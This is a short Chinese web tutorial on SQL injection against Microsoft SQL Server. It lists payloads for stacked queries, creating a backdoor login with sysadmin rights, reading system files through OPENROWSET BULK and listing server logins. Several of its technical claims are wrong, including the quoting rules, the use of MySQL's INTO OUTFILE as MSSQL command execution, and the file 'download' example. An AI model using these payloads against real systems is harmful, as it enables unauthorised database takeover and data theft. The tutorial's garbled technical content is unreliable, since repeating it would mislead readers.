您的位置:

mssql注入详解

一、mssql注入语句

mssql注入语句与常规的SQL注入语句略有不同。当我们使用单引号(')将输入的参数括起来时,将会出现语法错误。因此,我们需要使用双引号(")括起来。例如:


SELECT * FROM users WHERE name = "admin" AND password = "a' OR '1'='1"

这条语句将会返回所有用户名为admin并且密码符合该注入语句的用户。

二、mssql报错注入函数

mssql注入时,可以使用一些特殊的字符或者函数来触发服务器端的数据库错误,从而获取更多的信息。例如:


SELECT * FROM users WHERE id = xxx; SELECT @@version; SELECT @@servername;

通过以上例子,我们可以获得系统版本和服务器名等信息。

三、mssql注入执行命令

在mssql注入过程中,我们还可以执行系统命令。例如:


SELECT * FROM users INTO OUTFILE '/tmp/test.php';

这条语句将会将users表的数据导出到名为test.php的文件中。通过代码执行这个文件,可以得到完整的系统访问权限。

四、mssql注入使用存储扩展

用户可以在mssql数据库中创建存储过程(Stored Procedure)来完成复杂操作,也可以通过存储过程绕过常规的注入方法。例如:


EXEC sp_addlogin 'test', 'test';
EXEC sp_addsrvrolemember 'test', 'sysadmin';

通过执行以上代码,我们可以创建一个名为test的账户,并为它赋予sysadmin的权限,从而获得系统访问权限。

五、mssql注入sa权限

sa是mssql中最高权限的用户账户,拥有完全的数据库管理权限。当我们成功获得sa账户的权限时,我们就可以完全掌控数据库了。


SELECT * FROM users WHERE name = 'admin' AND password LIKE '%password%' AND IS_SRVROLEMEMBER('sysadmin') = 1

以上注入代码会返回sa账户信息。如果成功获取到sa账户权限,我们就可以执行所有权限指令。

六、mssql注入读文件

在mssql注入时,我们还可以通过查询公共文件来读取敏感数据。例如:


SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS content;

以上代码将从win.ini文件中读取数据。

七、mssql注入下载文件

在mssql注入时,如果我们需要下载敏感文件,可以使用以下代码:


SELECT * FROM OPENROWSET(BULK 'file:///C:/Windows/win.ini', SINGLE_BLOB) AS content;

以上代码将win.ini文件下载到当前目录下。

八、mssql注入查看系统用户

在mssql注入时,我们可以通过以下代码来查看系统所有用户:


SELECT name FROM sys.syslogins;

以上代码将返回所有系统用户的用户名。